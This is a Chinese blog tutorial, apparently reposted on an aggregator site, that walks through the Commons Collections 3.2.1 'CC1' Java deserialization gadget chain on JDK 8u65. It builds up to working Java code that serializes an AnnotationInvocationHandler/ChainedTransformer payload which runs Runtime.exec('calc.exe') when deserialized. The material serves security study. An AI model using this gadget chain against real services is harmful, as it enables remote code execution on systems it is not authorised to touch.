当前位置: 首页 > news >正文

Java反序列化-CC1链

环境搭建


CC1链在jdk 8u71后就修复了,所以在这里使用jdk 8u65版本进行复现

jdk 8u65下载

在官网www.oracle.com/java/technologies/javase/javase8-archive-downloads.html找到jdk8u65下载进行安装

下载open jdk源码

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/把下载的openjdk里 /share/classes/ 里面的 sun包 复制到安装jdk目录jdk1.8.0_65的src中

新建项目

打开idea新建一个项目,jdk版本选择之前下载的

添加Maven支持,创建一个pom.xml文件,添加以下信息,并且在右下角点击加载Maven项目

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.example</groupId> <artifactId>mortgage-calculator</artifactId> <version>1.0-SNAPSHOT</version> <name>Mortgage Calculator</name> <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies> </project>

加载完之后,右边应该有一个M的图标,点开,然后点击刷新按钮,maven就会自己导入commons collections依赖

然后点击 File -> Project Structure -> SDKs -> Sourcepath 点击+号,选择jdk的src目录

到此,环境已经搭建完成。

CC1链分析

InvokerTransformer

CC1链的利用点在InvokerTransformer类中的transform方法,在这个方法传入一个Object对象作为参数,然后进行了类的反射。

public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }

方法中利用的参数iMethodName,iParamTypes等都是类的属性,我们在这个找类中可以对这些属性赋值的方法,最后找到类的构造方法对这三个属性赋值了,并且也是public构造方法。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }

这样我们可以先写代码进行验证是否可以进行调用。发现可以正常调用,也说明了这是CC1链的最终利用点。接着我们就要找哪里调用了transform方法,选中transform,右键Find Usages,最终在TransformedMap类中的checkSetValue方法中调用了transform

public static void test01() throws Exception{ String methodName = "exec"; Class[] paramTypes = new Class[]{String.class}; Object[] args = new Object[]{"calc.exe"}; InvokerTransformer invokerTransformer = new InvokerTransformer(methodName, paramTypes, args); invokerTransformer.transform(Runtime.getRuntime()); }

TransformedMap

在checkSetVaule方法中,valueTransformer对象调用了transform方法,并且传入的参数也是Object类型,valueTransformer是这个类的属性,我们只要把valueTransformer赋值为InvokerTransformer对象,然后就能实现链条的调用。

我们要看哪里对valueTransformer进行赋值了,在类的构造方法中进行了赋值,但是构造方法是protected,我们不能直接调用,既然不能直接调用,类肯定提供了方法给我们间接调用,找到了在decorate静态方法中调用了构造方法,实现了间接赋值

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; } public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }

这样找到了第二处链,可以先写个方法自己触发验证能否调用链条。但是我们发现decoreate方法返回的是Map对象,Map对象里面肯定没有checkSetValue方法,那我们要怎么调用呢?那这里我们就不能自己验证了,还是老办法,查找哪里调用了checkSetValue方法,只找到了一处,在AbstractInputCheckedMapDecorator类中调用了。

static class MapEntry extends AbstractMapEntryDecorator { /** The parent map */ private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }

AbstractInputCheckedMapDecorator

可以看到调用checkSetValue方法是在内部类中,AbstractInputCheckedMapDecorator实际是实现Map类的,那我们可以写代码来调用。

public static void test02() throws Exception{ String methodName = "exec"; Class[] paramTypes = new Class[]{String.class}; Object[] args = new Object[]{"calc.exe"}; InvokerTransformer invokerTransformer = new InvokerTransformer(methodName, paramTypes, args); Map map = new HashMap(); map.put("123", "123"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer); for(Map.Entry<Object, Object> entry :transformedMap.entrySet()){ entry.setValue(Runtime.getRuntime()); } }

这里为什么transformedMap调用entrySet方法呢,实际上是编译器语法糖帮我们简化了代码,实际代码运行为

Set<Map.Entry<Object,Object>> entrySet = transformedMap.entrySet(); Iterator<Map.Entry<Object,Object>> iterator = entrySet.iterator(); while (iterator.hasNext()){ Map.Entry<Object,Object> entry = iterator.next(); entry.setValue(Runtime.getRuntime()); }

它实际会去调用iterator方法和next方法。实际上TransformedMap没有这两个方法,但是TransformedMap继承了AbstractInputCheckedMapDecorator,那么就会去找父类有没有这两个方法。

实际上调用iterator方法是返回EntrySetIterator对象,再去调用next方法,在EntrySetIterator类中调用next方法,也是返回一个MapEntry对象,这个对象是不是我们要调用checkSetValue方法的这个类,所以它返回MapEntry对象,然后在循环里又调用了checkSetValue方法,这样就实现了手动调用链条。

既然我们已经可以手动触发了,那我们继续找哪里调用了setValue方法,找到找,最终在AnnotationInvocationHandler类找到了调用setValue方法,并且这个方法是在readObject方法中,这正好是我们反序列化的起点,那我们看看能不能在这里直接调用我们的构造链,但是前面要经过循环和判断,才能到达调用方法处。

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } }

既然前面一大堆代码,那就先不看,直接反序列化然后调试,哪里不满足条件在想办法。并且这个类没有修饰符修饰,我们只能用反射。memberValue属性通过构造方法传入,所以memberValue属性传入的值为TransformedMap对象,TransformedMap的valueTransformer属性为InvokerTransformer对象。

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; }

AnnotationInvocationHandler构造方法传入的是继承Annotation的Class,还有一个Map。Map的值赋值给了memberValues 。

public static void test03() throws Exception{ String methodName = "exec"; Class[] paramTypes = new Class[]{String.class}; Object[] args = new Object[]{"calc.exe"}; InvokerTransformer invokerTransformer = new InvokerTransformer(methodName, paramTypes, args); Map map = new HashMap<>(); map.put("key1", "value1"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor c = clazz.getDeclaredConstructor(new Class[]{Class.class, Map.class}); c.setAccessible(true); Object obj = c.newInstance(Target.class, transformedMap); OutputStream os = new FileOutputStream("./cc1.ser"); ObjectOutputStream oos = new ObjectOutputStream(os); oos.writeObject(obj); }

这是我们写好的代码,然而我们并没有传入Runtime对象,我们这里写的代码主要是验证反序列化之后可以调用构造链,这个Runtime对象,等最终能利用再来考虑。

我们直接反序列化,然后进行调试一步步跟踪

public static void test04() throws Exception{ FileInputStream fis = new FileInputStream("./cc1.ser"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); }

反序列化调试

1,现在readObject方法打好断点

2,当代码走到循环这里,我们可以发现,memberValues的值就是TransformedMap。

3,当走到if判断语句这里发现memberType值为null,那这里就不会进入if语句了,

我们分析前面几句代码

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

获取到注解的成员类型,

String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name);

大概意思是,type是我们实例化传进来的注解的类型,获取到注解的成员类型,然后有获取到我们传入的Map的key值,通过key值取出成员类型,这里为什么为空呢?

我们传入的是Target这个注解

他只有一个成员类型,并且属性为value,而我们的Map对象put的key值为“key1”,它通过“key1”去取值,自然获取不到。所以我们把“key1”改为value即可进入if语句。接着看后面一个if语句

if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))

大概是判断我们map的值和注解属性的类型是不是同一个实例对象,很显然不是,所以这个if语句会进入

现在我们重新把map的键值改为value,再来调试。

成功的进入内部,然后调用setValue方法,跟进去查看,最终到了终点。但是我们发现input的值为AnnotationTypeMismatchExceptionProxy对象,因为在调用setValue传入的是硬编码的AnnotationTypeMismatchExceptionProxy对象,这个我们没有办法修改,难道做了这么久这条链要废弃了吗?

ConstantTransformer

这个类比较有意思,他的transofrm方法,不管我们传入的对象是什么返回的都是自己类的属性。那这个类要怎么利用呢,当我们调用setValue方法时,他会传入一个对象,这个对象我们不关心,最终调用链会走到这一步,

valueTransformer.transform(value);
public Object transform(Object input) { return iConstant; }

之前我们传入的都是InvokerTransformer对象,现在我们不传这个对象,传入ConstantTransformer对象,那我们去调用transform对象的时候,是不是去ConstantTransformer这个类中调用,我这个类属性我们赋值为Runtime对象,是不是就解决之前硬编码的对象。但是这个对象只会返回,而不会在去调用transform方法。

ChainedTransformer

之前ConstantTransformer不会继续调用方法,所以构造链不得已终止了,但是在这个类中提供了循环调用transform方法,

public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }

那我们是不是结合ConstantTransformer类中的transform方法,先把之前硬编码问题解决,然后返回的对象又通过一次调用transform方法传入,那这样子是不是很好的可以利用起来了。既然思路有了,直接写代码了。

public static void test05() throws Exception{ ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }); Map map = new HashMap<>(); map.put("value", "123"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor c = clazz.getDeclaredConstructor(Class.class, Map.class); c.setAccessible(true); Object obj = c.newInstance(Target.class, transformedMap); OutputStream os = new FileOutputStream("./cc1.ser"); ObjectOutputStream oos = new ObjectOutputStream(os); oos.writeObject(obj); }

当我们运行代码时,报错了,Runtime不能进行序列化,因为没有实现Serializable接口。

既然不能序列化Runtime,他的class可以序列化呀,可以通过ChainedTransformer中的transform方法,它不是可以循环调用transform吗,就用它构造出Runtime对象。

最终利用链为

public static void test05() throws Exception{ ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }); Map map = new HashMap<>(); map.put("value", "123"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor c = clazz.getDeclaredConstructor(Class.class, Map.class); c.setAccessible(true); Object obj = c.newInstance(Target.class, transformedMap); OutputStream os = new FileOutputStream("./cc1.ser"); ObjectOutputStream oos = new ObjectOutputStream(os); oos.writeObject(obj); }

这几个对象,第一个主要解决的是硬编码对象,返回的是Runtime.class,通过三次反射获取到exec方法。

new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})

思路整理

在InvokerTransformer类中transform方法存在可利用的代码,这也是CC1链的终点,

通过查找在TransformedMap类中checkSetValue方法调用了transform方法,

在AbstractInputCheckedMapDecorator类中setValue方法调用了checkSetValue方法

在AnnotationInvocationHandler类中readObject方法调用了setValue方法,并且这个是CC1链的起点。

但是setValue方法中硬编码了对象,导致我们不能传入Runtime对象。

但是在ConstantTransformer类中transform方法提供给我们讲硬编码对象转换为我们可以控制的对象。但是这个方法并没有调用其他方法。

所以我们找到在ChainedTransformer类中的transform方法,它里面循环的调用了transform方法,解决了ConstantTransformer只能调用一次问题。

所以调用链为:

readObject ---> setValue ---> checkSetValue ---> ChainedTransformer ---> ConstantTransformer ---> InvokerTransformer---> InvokerTransformer ---> InvokerTransformer

http://www.jsqmd.com/news/1397005/

相关文章:

  • 从业务岗转行SAP MM顾问:零基础思维转型与实战路线图
  • 2026年质量好的硬质快速门电话厂家推荐怎么选?这份优选指南帮你择优避坑 - geo交流
  • AI Code Agent:从LLM代码生成到自主编程智能体的架构与应用
  • 2026年AI电商详情页生成器实测:高效打造高转化商品页面的最优选择
  • 华硕笔记本控制终极指南:用免费的G-Helper 3步告别卡顿的奥创中心
  • 【TensorRTtSharp v4.0】使用 TensorRT CSharp API 完成 Dynamic Shape 与动态 Batch 推理
  • 2026北京顺义不踩雷网红三文鱼寿司蛋糕电话择优推荐 - geo交流
  • OneNote多人共享协作全攻略:从方案选型到问题解决
  • 威联通NAS AI搜索实战:VLM+LLM技术如何革新数据检索体验
  • 解码级禁忌测试:诊断大语言模型生成鲁棒性的压力测试方法
  • AI图表生成工具实战指南:从自然语言到可编辑图表的全流程解析
  • SQL注入攻防实战:从SQL-Labs靶场到手工注入核心技术解析
  • 2026年大型玻璃门定制厂家怎么选?这份优选甄选指南帮你避坑 - geo交流
  • 2026年圆形振动筛厂家联系方式甄选指南:从场景匹配到优选供应商一次说清 - geo交流
  • RePKG 完整上手指南:Wallpaper Engine 资源包提取与 TEX 转图片的一键终极方案
  • 求职简历PPT哪家模板好用?2026实测靠谱平台推荐
  • 10MB 的华硕笔记本控制工具 G-Helper:一场对 Armoury Crate 的无声接管
  • Unity游戏翻译插件免费方案:XUnity.AutoTranslator 汉化安装配置与调优完整指南
  • Conventional Commits规范:提升Git提交信息的工程价值
  • 从while循环到协议驱动:构建可控AI Agent的工程实践
  • AI 全栈专业名词科普:从入门到理解
  • 从亚太赛建模实战看数学建模竞赛:团队分工、工具流与时间管理
  • Windows CMD启动报错“系统找不到指定的路径”的排查与修复指南
  • 竞赛备赛策略:如何利用专家直播解码评分规则提升获奖概率
  • Git本地凭据管理:安全查看与迁移HTTPS/SSH认证信息
  • NVIDIA Profile Inspector 完整上手指南:1 个免费工具解锁 90% 的驱动隐藏设置
  • 桌面自主 AI Agent OpenClaw 搭建教程,支持文档 / 浏览器自动化(含安装包)
  • 2026年河北国标全新料针刺土工布生产厂家推荐:3个标准帮你择优选购! - geo交流
  • 2026取保候审该挑选专业律师门道 一看专业二看口碑要点全面详细解析
  • 12345热线智能分拨与城市治理效能提升